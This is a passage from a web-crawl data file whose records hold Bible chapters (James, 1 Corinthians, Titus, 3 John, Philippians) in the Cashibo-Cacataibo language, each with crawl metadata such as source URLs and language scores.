version...","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.bible.com\/en-GB\/bible\/541\/luk.24.cbrnt","date":"2014-03-14T06:22:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678687395\/warc\/CC-MAIN-20140313024447-00040-ip-10-183-142-35.ec2.internal.warc.gz","language":"cbr","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"cbr_Latn_score\": 1.0000079870224}","num_words":1167,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SANTIAGONËAN JUDÍOS UNICAMA BUÁNMIA QUIRICA\n1\nAín menuma 'icë judíos unicama Santiagonën quirica cuënëoxuan\n1 'Ëx cana Santiago, an Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonën cacësabi oquin ñu 'acë 'ain. Israelnën bëchicë mëcën rabë́ 'imainun rabë́ aín rëbúnqui 'aíshmi bëtsi bëtsi menu tsóti cuan 'icë cana mitsu ënë quirica buánmin.\nNucën Papa Diosan sinánmicë 'aísha aín unicamax bëtsi sinánñu 'iti\n2 'Ën xucë́antu, cana mitsu cain, uisai caramina 'iti 'ain, uisa ñu cara mitsumi 'icëbëbi camina upí oquinshi sinani cuëënti 'ain. 3 Camina 'unanin, usai 'i bënë́quinma tanshiquin camina uisa ñu cara 'icëbëbi bënëtima upiti Jesucristomi catamëti 'unánti 'ain. 4 Mitsux usai 'inux camina ëníma Jesucristomi sinani uisa ñu cara 'icëbëbi masá nuitutima ami catamëcanti 'ain.\n5 Uisaira caramina ami cushiti 'ai quixun 'unáncëma 'ixun camina Nucën Papa Dios ñucáti 'ain. Ñucácëxun ca an mi usaími 'iti 'unánmiquin cushioti 'icën. An ca an a ñucácë unimi nishquinma cuëënquin upí oquin 'unánmia. 6 'Ixunbi camina —Nucën Papa Diosan sapi ca 'ën cacëxun cuatima 'icë —quixun sinánquinma, —an ca asérabi 'ën cacëxun cuati 'icë —quixun sinánquin ñucáti 'ain. An cara 'ë 'aquinti 'icë, cara 'ë 'aquintima 'icë quixun sináncë uni ax ca suñun bëcacë́xa parúnpapa amami amamiqui tucánquicësa 'icën. 7 Mitsux usa 'ixun camina Nucën Papa Diosan ca 'ën bana cuatia quixun sinántima 'ain. 8 Usaquin sinánbëquincë unix ca an sináncësabi oi 'ima cëmëbëquinia.\n9 Uicamax cara unían —ñuumara ca —quixun iscë 'iaxbi Jesucristomi catamëtia, Nucën Papa Diosan 'aquincëx bëráma 'iásama 'icë, ax ca cuëënti 'icën. 10 'Imainun ca ñuñuira ax Jesucristomi catamëti ñuñumaibi cuëënti 'icën. Axa ñuñuira uni ax ca ro uáxa upíira upí 'itancëxbi aín upí bënëtishi nëtë́cësaribi 'icën. 11 Barin uruquin pëcaquin xarocëx ca ro uá chushia. Usari 'i ca ro uá rëucuti aín upí nëtëtia. Usaribiti ca ñuñu uni ax curíquiñuira 'iti sinánxun ñu 'aíbi 'iti 'icën.\nUisa ñu cara 'icëbëtanbi Jesucristomi catamëti ëntima\n12 An uisa ñu cara 'icëbëbi bënë́quinma tanshiquin Jesucristomi catamëti ëncëma unicama a ca usaía ax ami sináncë unicama 'iti ñuia quiásabi oquin Nucën Papa Diosan aín nëtënu abë 'aish chuámarua 'aish cuëënun 'imiti 'icën. 13 Usa 'ain ca ui unin cara 'atima ñu 'ati sinania, a unin —Nucën Papa Diosan ca usaquin 'anun 'ë sinánmia —quixun sinántima 'icën. Nucën Papa Dios a ca uínbi 'atima ñu 'anun sinánmitima 'icën. Usa 'ixun ca anribi uinu 'icë unibi 'atima ñua 'anun sinánmima. 14 Unían ñu 'atima 'acë ax ca Nucën Papa Diosan 'amicëma 'icën. Abi aín sinan 'atima 'ixun ca usoquin 'aia. 15 Usaquian sináncë cupí ca unin ñu 'atima 'aia. Ñu 'atima ënquinma amiribi amiribi 'ai 'uchacë cupí ca bamai Nucën Papa Diosbë 'itima 'icën.\n16 'Ën nuibacë xucë́antu, uinu 'icë unínbi paráncë camina 'icantima 'ain. 17 Camabi uisa ñu cara upí 'icë, ax ca Nucën Papa Dios naínu 'icë, an bari, 'uxë, 'ispa acama unio, an camabi uni 'ináncë 'icën. A ñucamaxa bënamëanan bëánquicë 'aínbi ca Nucën Papa Dios axira usabi 'iá 'aish usabi 'icën. 18 An ca unían aín bana ñuixuncëxun cuatínu ainan 'inun nu 'imiaxa, nux pain 'icë cupía raíri uníxribi Jesucristomi catamëcë 'aish camabi ñu an uniosamaira 'inun.\nAsérabi Jesúsmi catamëtia usai uni 'iti bana\n19 'Ën nuibacë xucë́antu, usa 'ain camina Nucën Papa Diosnan 'ixun mitsun unían bana ñuia upí oquin pain cuati 'ain. Cuati camina mitsux munu pain sinántancëx bananan bënëtishi nishtima 'ain. 20 Axa nishcë unix ca Nucën Papa Dios cuëëncësabi oi 'ima. 21 Usa 'ain camina ñu 'atima 'aisamaira oquinmi mitsun 'acë a ëanan uisa ñucama cara 'aisama 'icë ënti 'ain. A ënquin camina ami cuacë Nucën Papa Diosan bana a mitsun nuitu mëu racanaquin upí oquin sinánti 'ain. Mitsúnmi cuacë bana ënë́xa quicësabi oquin, Jesucristomi catamëcë 'ixun, 'acë 'aish camina Nucën Papa Diosnan 'inux ië́canti 'ain.\n22 Usa 'ain camina mitsun pabitainshi cuaquinma upí oquin sinánquin a bana quicësabi oquin 'ati 'ain. Usoquin 'acëma 'aish camina —'ëx cana Nucën Papa Diosnan 'ai —quixun sinanibi cëmëcë mitsux 'iti 'ain. 23 Axa Nucën Papa Diosan bana aín pabitainshi cuati, a bana isi ax quicësabi oi 'icëma uni ax ca an aín bëmánan espéjonën iscë unisaribi 'icën. 24 —Uisa carana 'ai —quixun istancëxbi ca mëníocatima manúquiani usabi cuania. 25 Usa 'aínbi ca an a bana cuaquin manuquinma sináncë uni, ax a bana quicësabi oquin ënquinma 'acë 'aish chuámarua tani cuëënti 'icën. A banax ca anúnu upí 'ianan, ñunshin 'atima cuëëncësa oi 'ima Nucën Papa Dios cuëëncësabi oi 'inux ië́ti a 'icën.\n26 Ui unix cara —'ëx cana Nucën Papa Diosan bana cuacë 'ai —quibi sinánxmaishi 'aisamairai banaia a unix ca Nucën Papa Diosan bana quicësabi oi 'íma cëmëia. 27 An Nucën Papa Dios cuëëncësabi oquin 'acë unin ca ësaquin 'ati 'icën: Papañuma titañuma tuácama 'imainun casunamëcë xanucamaribi 'aquinsa 'ianan masá nuitutia isquin ca 'aquinti 'icën. 'Aquianan ca an Nucën Papa Diosmi sinánquinma ënë menu 'icë ñuishi sináncë unin 'acësaribi oquin ñu 'aisama 'atima 'icën.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/JAS01.htm","date":"2021-12-02T19:15:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00000.warc.gz","language":"cbr","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000073909759521}","num_words":769,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËN CORINTONU 'ICË UNICAMA A PAIN BUÁNMIA QUIRICA\n1\nCorintonuaxa Jesucristomi catamëcë unicama Pablonën quirica cuënëoxuan\n1 'Ëx Pablo 'ixun cana mitsu quirica buánmin, camina biti 'ain. Nucën Papa Dios cuëëncësabi oquin aín bana unicama ñuixunun ca Jesucristonën 'ë caísacëxa. An caísa 'ixun cana Sóstenesbëtan mitsu quirica buánmin. Axribi ca Jesucristomi catamëcë 'aish nucën xucën 'icën. 2 Mitsúxmi Corinto ëmanuax Jesucristomi catamëcë 'icë, cana cuënëoxun ënë quirica mitsu buánmin. Mitsux Cristo Jesúsmi catamëcë 'aish camina Nucën Papa Diosnan 'ain. An ca ax cuëëncësabi oíshi 'inun mitsu caísacëxa. Camabi menu 'icë unicama, an Nucën 'Ibu Jesucristo aín 'uchacama tërë́nxunun quixun ñucácë, a unicama usai 'inun caíscësaribi oquin ca Nucën Papa Diosan mitsu caísacëxa. Jesucristo ax ca a unicaman 'Ibu 'ianan nun 'Iburibi 'icën. 3 Usa 'aíshmi mitsux Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën nuibaquin 'aquincëx chuámarua bucucanti cana cuëënin.\nCristo cupí nuibaquin Nucën Papa Diosan uni 'aquinti bana\n4 Cristo Jesús cupía mitsu nuibaquin ainan 'imicë cupí cana camabi nëtën Nucën Papa Dios —asábi ca —cain. 5 Cristobë 'aíshmi aín sinánsaribi 'icë ca Nucën Papa Diosan an aín unicama 'unánmiti ñu 'unánmiquin upí oquin sinanimi upiti bananun mitsu 'imiaxa. 6 Usa 'aish camina mitsux an Cristo ñui quicë bana 'unánquin, a bana quicësabi oquin 'acë 'ain. 7 Usa 'ixunmi Nucën 'Ibu Jesucristo utëcënti nëtë cainia ca Nucën Papa Diosan aín unicama 'aquincësaribi oquin ami 'unánun mitsu 'aquinia. 8 Nucën 'Ibu Jesucristo utëcëncëbëtan uinu 'icë unínbi mitsu ñuiquin —a unix ca 'atima ñu 'acë 'icë —quixun canúnma ca Nucën Papa Diosan mitsúnmi ami catamëquin 'atima ñu 'axunma 'anun ënquinma mitsu bërúanti 'icën. 9 Nucën Papa Diosan ca ax quicësabi oquin ñu 'aia. Mitsúnmi aín Bëchicë, Nucën 'Ibu Jesúsbë 'ixun, an sináncësaribi oquin sinánun ca mitsu caísacëxa.\nI. PABLONËAN CORINTONU 'ICË UNICAMA 'ËSËA BANA (1.10-6.20)\nAxa Jesucristomi catamëcë unicama bëtsi bëtsi oquin sinántima bana\n10 Mitsux Jesucristomi sináncë 'aish camina 'ën xucë́antu 'ain. Usa 'icë cana Nucën 'Ibu Jesucristo cuëëncësabi oquin mitsu ësoquin cain: Bëtsin sináncësaribi oquin sinani camina bucucanti 'ain. Masáquin sinani camina bëtsibë nishanancantima 'ain. Nishananíma nuibananshiti camina camaxunbi bëtsin sináncësa oquinshi sinani upitax bucucanti 'ain. 11 'Ën xucë́antu, cana mitsu cain, Cloénën aintsi 'ibun ca mitsux ismina bëtsibë bëtsibë ubíonan ubíonani bucui quixun ë caxa. 12 Usoquian cacëxun 'ën sináncëx ca ësa 'icën: mitsu raírinëx ca ax isa 'ën 'unánmicë 'icë quia. Quimainun ca raírinëxribi ax isa Apolonën 'unánmicë 'icë quimainun, raírinëxribishi ax isa Pedronën 'unánmicë 'icë quimainun raírinëxribishi ax isa Cristonën 'unánmicë 'icë quiax quia. 13 ¿Mitsun sináncëx cara Cristo 'itsa 'ic? Cristo ca 'itsama 'icën, ax ca achúshishi 'icën. 'Ëx cana mitsun ñu 'aisama 'acëcama tërë́ncë 'inun i curúsocënu bamama 'ain. 'Ëmi catamëtima Cristomishi catamëti camina nashimicë 'ian. 14 'Ën mitsu achúshibi nashimicëma cupí cana Nucën Papa Dios —asábi ca —cain. Crispo 'imainun Gayo a rabë́ishi cana nashimian. 15 Usa 'ain camina mitsux Cristomi sinanima —Pablonan 'aish cana nashimicë 'ai —quiax quitima 'ain. 16 A 'imainun cana axa Estéfanasnën xubunu 'icëcamaishi nashimian. 'Ën sináncëx ca bëtsi uniribi a 'ën nashimicë 'aíma 'icën. 17 Cristonën ca uni nashiminun 'ë cáma 'icën. Uni aín 'uchacama tërë́ncë 'aish Nucën Papa Diosnan 'inun ië́minux ca Cristo i curúsocënu bamacëxa quixun camabi uni canun ca Cristonën 'ë 'imiacëxa. An quirica 'unáncë unicamaxa quicësai unin cuaisama banan banaquinma unin cuaisabi oquin, upí oquin aín bana ñuixunun ca 'ë cacëxa.\nCristonëx ca Nucën Papa Diosan cushiñu 'ianan aín sinánsaribi 'icë quicë bana\n18 Cristo ca unin 'ucha cupí i curúsocënu bamacëxa quixun ñuicë bana a ca an Nucën Papa Dios cuëëncëma unicaman —a banax ca cëmë 'icë —quixun ñuiquin 'usania. Usa 'aínbi ca axa Nucën Papa Diosbë 'inux ië́ti unicaman a bana cuaquin, aín cushin 'imicëx cananuna nun 'uchacama tërë́ncë 'aish Nucën Papa Diosnan 'ai quixun 'unania. 19 Ësai ca 'iti 'icë quiax ca Nucën Papa Diosan bana cuënëo ësai quia:\n'Ën sinanëinshi cana ñu 'unani quixun sináncë unicama ax ca 'ën 'imicëx aín sinan ñancáishi 'iti 'icën. 'Ën cana ñu 'unani quixun sináncë uni ax ca 'ën 'imicëx ñu 'unáncëma unisa 'iti 'icën.\n20 Sinánñu uni 'imainun an quirica 'unáncë uni 'imainun an ënë menu 'icë ñuishi ñuiti 'unáncë uni acaman, ñu 'unáncë cana 'ai, quixun sináncë 'aínbi ca Nucën Papa Diosan sinan abë sënë́nmaira 'icën. Usa 'ain ca usa unicaman aín sinánsamaira Nucën Papa Diosan sinan 'icë quixun isti 'icën. 21 Nucën Papa Diosan upí oquin sinánquin mëníosabi oi ca uni anbi aín sinanënbi sinani Nucën Papa Diosnan 'itima 'icën. Usa 'aínbi ca aín bana cuati ami catamëcë unicama ainan 'inun 'imia, raírinëxa —a bana ca ñancáishi 'icë —quicëbëtanbi.\n22 Judíos unicaman ca, nun cananuna asérabi Nucën Papa Diosan cushínbi ñu 'ai quixun 'unántisa tanquin unin 'acëma ñunu 'aia istisa tania. Usai atux 'imainun ca griego banan banacë unicaman unían 'unáncë ñu camabi 'unántisa tania. 23 A unicamaxa usa 'aínbi cananuna nun i curúsocënu matáscë Cristo, a ñuiquin unicama bana ñuixunin. A bananu nun unicama ñuixuncëbë ca judíos unicamax rabini, uisa 'aish caraisa Cristo i curúsocënu bamati 'icë quixun sinani, ami catamëisama tania. Usaía judíos unicama 'imainun ca judíosma unicaman —Diosan Bëchicë ca i curúsocënuax bamacëxa —quixun ñuiquin 'usania. 24 A unicama usai 'imainunbi ca uicama cara Nucën Papa Diosan Cristomi catamënun sinánmicë 'icë acama, judíos unicama 'imainun griego banan banacë judíosma unicamanribi, —Cristo cupíshi ca Nucën Papa Diosan upí oquin sinánquin nun 'uchacama tërë́nquin ainan 'inun nu ië́mia —quixun 'unania. 25 Nucën Papa Diosan Cristo i curúsocënuaxa bamanun ëncë, ax ca 'aisama 'icë uni quicëbëtanbi ca axa usai quicë unicaman sináncësamaira oquin sinánquin Nucën Papa Diosan Cristo nun 'ucha cupí i curúsocënuax bamanun ëancëxa. —Ax cushima 'ixun ca Diosan Jesucristo bamanun ëanxa —quixun sináncancëbëtanbi ca Nucën Papa Diosan unin cushisamaira 'ixun ië́mitsinxunbi camabi unin 'ucha cupía bamanun Cristo 'imiacëxa.\n26 'Ën xucë́antu, mitsun camina ësoquin 'unánti 'ain: mitsux camina raírinëxëshi unin 'unáncë ñu 'unáinracë 'ain, raírinëxëshi camina 'apusa 'ain, raírinëxëshi camina uni itsibëtan sënë́nmaira unin bëchicë 'ain. 'Itsamanëxëshi camina usa uni 'ain. Usa 'icëbi ca Nucën Papa Diosan ainan 'inun micama caísaxa. 27 Nucën Papa Diosan ca unían sináncëxa ñu 'unánma unicama ainan 'inun caísaxa. Caísun anbi atu 'unánmia isi ca an ñu 'unáncë unicama ax rabinia. Usaribi oquin ca unin iscëxa cushima unibu Nucën Papa Diosan ainan 'inun caísaxa. Caísuan anbi atu sinánmicëbë ca unin iscëx cushi unicama ax —nun sináncësamaira oquin ca atun sinania —quixun 'unani rabinia. 28 Ainsa ñu 'unánxa quixuan sináncë unicaman, —Diosan 'amicëxun ca aín unicaman nun sináncësamaira oquin sinania —quixun istánun ca Nucën Papa Diosan axa ënë nëtënu 'icë unían ñu 'unánma isa quixun sináncë unibu ainan 'inun caísaxa. 29 Uinu 'icë unínbia —'ënbi cana ñu 'unáncë 'ai —quixun sinánunma ca Nucën Papa Diosan ënë nëtënu 'icë unían sináncëxa ñu 'unánma unicama ainan 'inun caísaxa. 30 Nucën Papa Diosan 'imicëx camina ami catamëti Cristo Jesúsbë 'ianan an sinánmicë 'ain. Usa 'aish camina Cristo Jesús cupía, ax cuëëncësabi oquinshimi 'anun Nucën Papa Diosan ië́micë 'ain. 31 Usa 'ain ca Nucën Papa Diosan bana cuënëo quicësabi oquin, \"Uinu 'icë unix cara rabítisa tania ax ca axbi rabiacatima —Nucën 'Ibu Diosan 'imicëx cana asábi 'ai —quixun sinánquin ashi rabiti 'icën\".","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/1CO01.htm","date":"2021-12-02T18:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00033.warc.gz","language":"cbr","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"cbr_Latn_score\": 1.000006914138794}","num_words":1128,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN TITO BUÁNMIA QUIRICA\n1\nPablonëan Tito quirica cuënëoxuan\n1 'Ëx cana Pablo, an Nucën Papa Dios cuëëncësabi oquin 'anan Jesucristonëan a ñuiquin aín bana ñuixunun caísa 'ain. Usa 'aish cana 'ëx, uisai cara a Nucën Papa Diosan ainan 'inun caísa unicama Jesucristomi catamëti upí 'iti 'icë quixun 'unánmicë uni 'ain. 2 Usa 'ixun cana ainan 'aish ca uni xënibua 'aínbi aín nëtënu abë 'iti 'icë quixun unicama 'unánmin. Ax asérabi cëmëma 'aish ca Nucën Papa Dios bëráma, me 'imainun camabi ñu uniosama pain 'aíshbi, ësai ca 'ën unicama 'ën nëtënu 'ëbë 'iti 'icë quiax quiacëxa. 3 An mëníosabi oquin ca anúan unicama ënë ñucama 'unánti nëtëa 'icëbëtan aín unicaman bana ñuixuncëxun camabi unin cuanun mëníoquin, 'ënribi uni aín bana ñuixunun Nucën Papa Diosan 'ë caísacëxa. An ca Cristomi catamëtia ainan 'inun unicama iëmia. 4 Tito, 'ën cana ënë quirica mi buanmin. 'Ëx ami sináncësaribi oi mixribi Jesucristomi sináncë 'aish camina 'ën bëchicësa 'ain. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristo, an nu ainan 'inun ië́micë, an nuibacëxmi ainan 'aish chuámarua 'iti cana cuëënin.\nCreta nasínuxun Titon usoquin ñu 'a\n5 Anuax uquin cana nun nu sënë́oncëma ñucama ami sënë́onun Creta nasínu mi ëbëtsían, anuxunmi 'ën mi cacësabi oquin ëmacamanu cuanquin, uicamax cara axa Jesucristomi catamëcë unicaman cushi 'iti 'icë quixun caístancëxun anënun. 6 Axa Jesucristomi catamëcë unicaman cushi 'inun camina ësa uni caísti 'ain: Unin —'aisama ca —quixun ñuicëma ca 'iti 'icën. Usa 'ianan ca xanu achúshiñuishi 'iti 'icën. 'Ianan ca aín bëchicëcamaxribi upí oquin bana cuacë 'iti 'icën. Aín bëchicëcamax ca —bana cuacëma 'ixun ca 'aisama ñu 'aia —quixuan unin ñuicëma 'iti 'icën. 7 Usa 'icëmi mitsun caíscë unicaman ca atun cushi 'ixun aín unicama Nucën Papa Dios cuëëncësabi oquin bërúanti 'icën. Usa 'aish ca upí ñuishi 'ai —ñu 'aisama ca 'aia —quixuan unin ñuicëma 'iti 'icën. 'Ianan ca bëtsi uni ñuuma ca quixun sinánquin ashi ñu 'axunun cacë 'itima 'icën. 'Ianan ca bënëtishi masáquin sinani nishtima 'icën. 'Ianan ca paë́ntima 'icën. 'Ianan ca unibë mëëananti sinánñu 'itima 'icën. 'Ianan ca curíquiñu 'inuxun uni paránti sinántima 'icën. 8 Usai 'iquinma ca a isi aia cuëënquin uni biti 'icën. Añu ñucamax cara upí 'icë ashi 'ati ca sinánti 'icën. Upí oquin sináncë 'ixun ñu 'atima 'acëma ca 'iti 'icën. Nucën Papa Diosan bana quicësabi oi ca 'aisama ñu 'aíma upíshi 'iti 'icën. 9 Atun ca nun ñuixuncë bana upí oquin cuacë 'ixun bëtsi uniribi a bana cuanun 'unánmiti 'icën. 'Unánmianan ca a bana ca cëmë 'icë quixuan an sináncë unicamaribi sinanamiti 'icën.\n10 'Itsa unix —'ëx cana Nucën Papa Diosan bana cuati —quicë 'aíshbi ca a bana quicësabi oi 'ima. Usa 'ixun ca uni parania. Uni itsíxa usari 'icësamaira oi ca judíos unicama raírinëx 'ia. 11 A unicaman ca curíqui biti cupíshi unicama parántisa tanquin bëtsi bana ñuixunquin, bëtsi bëtsi uni 'imainun aín xubunu 'icëcamaribi, atun sináncësa oquian sinánun quixun sinánmia. A unicama camina amiribishi uni parántëcëanxma 'inun cati 'ain.\n12 Cretanu 'icë uni achúshi, ax isa banati 'unáncë 'icë quixuan aín aintsicaman cacë, ax ca aín aintsicama ñui ësai quiaxa: \"Cretanu 'icë unicamax ca usabi cëmëcë 'ianan, ñuina pianancësa 'ianan ñu mëëtisama tancë 'ianan 'aisamaira oquin picë 'icën\". 13 A unían aín aintsi ñuicë bana ax ca asérabi 'icën. Usa 'ain camina a unicama 'ësëquin Nucën Papa Diosan bana upí oquin cuatía a bana quicësabi oi 'inun upí oquin sinanamiti 'ain. 14 Unin sináncësa oquinshia judíos unicaman anbi sinánxun ñuiá bana cuaxunma 'anun camina sinánmiti 'ain. Sinánmianan camina an Nucën Papa Diosan bana cuaisama tancë unin cëmëquin ñuicë banaribi cuaxunma 'anun upí oquin sinánmiti 'ain.\n15 Ënëx ca ësa 'icën. Ui unix cara aín sinan upí 'icë an ca ñu upíma isquinbi upí oquinshi sinania. Usa 'aínbi ca ui unix cara Nucën Papa Diosmi sináncëma 'ianan aín sinan upíma 'icë, an upí ñu isquinbi 'atima ñuishi sinania. Aín nuitu 'aisama 'ixun ca usa unin 'atimaquin sinania. 16 Atúxa —'ëx cana Nucën Papa Diosan uni 'ai —quiabi ca an ñu 'aisama 'aia iscë unicaman —usama ca —quixun 'unania. Atúan ñu 'aisama 'acë cupí ca unin atu cuëënima. A unicaman ca bana cuacëma 'ixun ñu upí 'ati sinanima.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/TIT01.htm","date":"2021-12-02T18:59:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00067.warc.gz","language":"cbr","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000085830688477}","num_words":661,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JUANËAN ARIBI AMIRIBISHI BUANMITËCËAN QUIRICA\n1\nGayo upí oquin ñuia Juan quia\n1 'Ëx axa Jesucristomi catamëcë unicaman cushi 'ixun cana, axa 'ëx 'icësaribiti asérabi Nucën Papa Diosan uni 'aish 'ë nuibacë Gayo, a ënë quirica buánmin.\n2 'Ën nuibacë xucën, mix Jesucristomi catamëcë 'ixun upí oquin sinanimi chuámarua 'icësaribitimi min namicamaribi chuámarua 'inun cana mi Nucën Papa Dios ñucáxunin. 3 Axa Jesucristomi catamëcë uni raírinën ca anumi 'icënuax uxun 'ë caxa, mix ismina asérabi ëníma Nucën Papa Dios cuëëncësabi oi 'i quixun. Usaquian cacëxun cuati cana cuëëan. 4 Bëtsi bana ñuia cuati 'icësamaira oi cana mixmi 'icësaribitia axa 'ën bëchicësa unicamaxribi Nucën Papa Dios cuëëncësabi oi 'ia ñuia cuati cuëënin.\n5 'Ën nuibacë xucën, min upí oquin axa Jesucristomi catamëcë unicama 'aquianan bëtsi ëmanuaxa ucë unicamaribi 'aquinquin camina Nucën Papa Dios cuëëncësabi oquin 'ain. 6 Anumi 'icë ëmanuax ucë unicaman ca ënu bëbaxun, axa Jesucristomi catamëcë unicamaxa timë́cënuxun, asérabimi nuibaquin usaquin atu 'aquincë nu ñuixuanxa. A unicama camina bëtsi ëmanuribi cuainsa tania añu cara cuëënia a 'aquinti 'ain, Nucën Papa Dios cuëëncësabi oquin. 7 A unicamax Jesucristomi sináncë 'ixun ca aín bana ñuixuanan mi isi cuanxa. Usa 'aish ca an Nucën Papa Diosmi sináncëma unicaman atu ñu 'inánti cuëëncëma 'icën. 8 Usa 'ain cananuna nunbi atu 'aquinti 'ain, Nucën Papa Diosan bana upí oquin ñuia ninun.\nDiótrefes ax ca 'aisama uni 'icë quicë bana\n9 Axa Jesucristomi catamëcë unicama cana atúan timë́xun cuanun quixun quirica buánmia. Buámicëbi ca Diótrefes axëshi a unicaman cushi 'iti cuëënquin, nun bana cuaisama tanxa. 10 Usa 'ain cana anu cuanxun axa 'atimaquin nu ñui cëmëi banacë cupí cati 'ain. An ca axa Jesucristomi catamëcë uni raíri anua cuania biisama tanan, an biisa tancë unicamaribi bixunma 'anun quixun caquin, mitsubëa timë́nun 'imima.\n11 'Ën nuibacë xucë́n, an ñu 'atima 'acë unían 'acësa oquin 'aquinma camina an ñu upí 'acë unían 'acësa oquinshi ñu 'ati 'ain. An ñu upí 'acë uni ax ca Nucën Papa Diosnan 'icën. Usa 'aínbi ca an ñu 'atima 'acë uni an ainanma 'ixun Nucën Papa Dios 'unáncëma 'icën.\nDemetrio 'icësaribiti upí 'iti bana\n12 Camabi unin ca —Demetrio ca upí uni 'icë —quixun ñuia. An upí ñu 'acë cupí ca ax asérabi usa 'icë quixun ca camabi unin 'unania. Ax ca aín sinan upí 'icë quixun cananuna a ñuiquin asérabi mi cain. Nun bana ca asérabi 'icë quixun camina 'unanin.\nAshiquian Juanën cá bana\n13 'Ën cana 'itsa ñu ñuiquin mi caisa tan, 'aínbi cana tintan cuënëoquin a ñucama mi ñuixuniman. 14 Usa 'ain cana bënëtishi mi isi cuanti sinanin. Cuanxun cuni cana mibë banaquin mi ñuixunti 'ain.\n15 Mixmi chuámarua 'iti cana cuëënin. Axa ënuax nubë nuibanancë unicaman ca bërúanxmi 'inun mi 'ë camiaxa. Usa 'ain camina anua 'icë axa nubë nuibanancë unicama achúshi achúshi, bërúanxa 'inun nu caxunti 'ain. Ashi, Juan.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/3JN01.htm","date":"2021-12-02T19:32:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00379.warc.gz","language":"cbr","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000073909759521}","num_words":446,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN FILIPOSNU 'ICË UNICAMA BUÁNMIA QUIRICA\n1\nPalonëan sipunuxunbi Filiposnuaxa Jesucristomi catamëcë unicama quirica cuënëoxuan\n1 'Ëx Pablo 'ixun cana Timoteobëtan mitsu quirica buánmin. Jesucristonën casabi oquin aín bana uni ñuixuncë cananuna nux 'ain. Micamaxmi Filipos ëmanu 'aish Jesucristomi sinania cana mitsun cushicama 'imainun an axa Jesucristomi catamëcë unicama 'aquincë unicamaribi ënë quirica buánmin. 2 Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën nuibacëxmi mitsux chuámarua 'aish bucucanti cana cuëënin.\nAxa Jesucristomi catamëcë unicama Pablonën Nucën Papa Dios ñucáxuan\n3 Mitsux camina upiti Jesucristomi catamëcë 'ai quixun sinánquin cana —asábi ca —quixun caquin Nucën Papa Dios rabin. 4 Abë banaquin cana upí oquin sinani cuëënquin mitsu ñucáxunin. 5 'Ën mitsubë timë́xun bana ñuixuntabacëxun camina 'ën 'acësaribi oquin, Jesucristomi catamëquin uni raíriribi amia catamënun 'aquinin. Usa 'ain cana —asábi ca —quixun caquin Nucën Papa Dios rabin. 6 Cana 'unanin, an mitsu Jesucristomi catamënun sinánmicë 'ixun ca axa utëcë́nti nëtë 'itámainun Nucën Papa Diosan Jesucristosaribi 'aish upí 'inun mitsu 'imia. 7 Sipuacë 'icëa, 'apun ñucácëxun cana 'ën, Jesucristomi catamëti Nucën Papa Diosnan 'iti bana ax ca asérabi 'icë quixun can. Usaquin 'ën 'amainun camina mitsúnribi nuibaquin Nucën Papa Dios 'ëa 'aquinun quixun ñucan. Usa 'ain ca 'ëa 'aquincësaribi oquin Nucën Papa Diosan mitsuribi tëmëraiabi nuibaquin 'aquinia. Usaími mitsux 'icëbëtan cana nuibaquin mitsu sinánquin Nucën Papa Dios —asábi ca —caquin mitsu ñuixunin. 8 Nucën Papa Diosan ca 'unania, Jesucristonëan unicama nuibacësaribi oquin cana 'ën mitsu nuibaquin 'aisamaira sinani quixun. 9 Usa 'ain cana mitsu nuibaquin Nucën Papa Dios mitsu ñucáxunin, mitsúnmi 'acësamaira oquinmi upí sinánñu 'ixun ax cuëëncësabi oquin 'ati 'unánquin uni nuibanun. 10 An 'unánmicëxunmi ñu 'atima 'aquinma ñu upíshi 'ati 'unánun cana Nucën Papa Dios mitsu ñucáxunin. Usai 'iquinmi ax cuëëncësa oquinshi 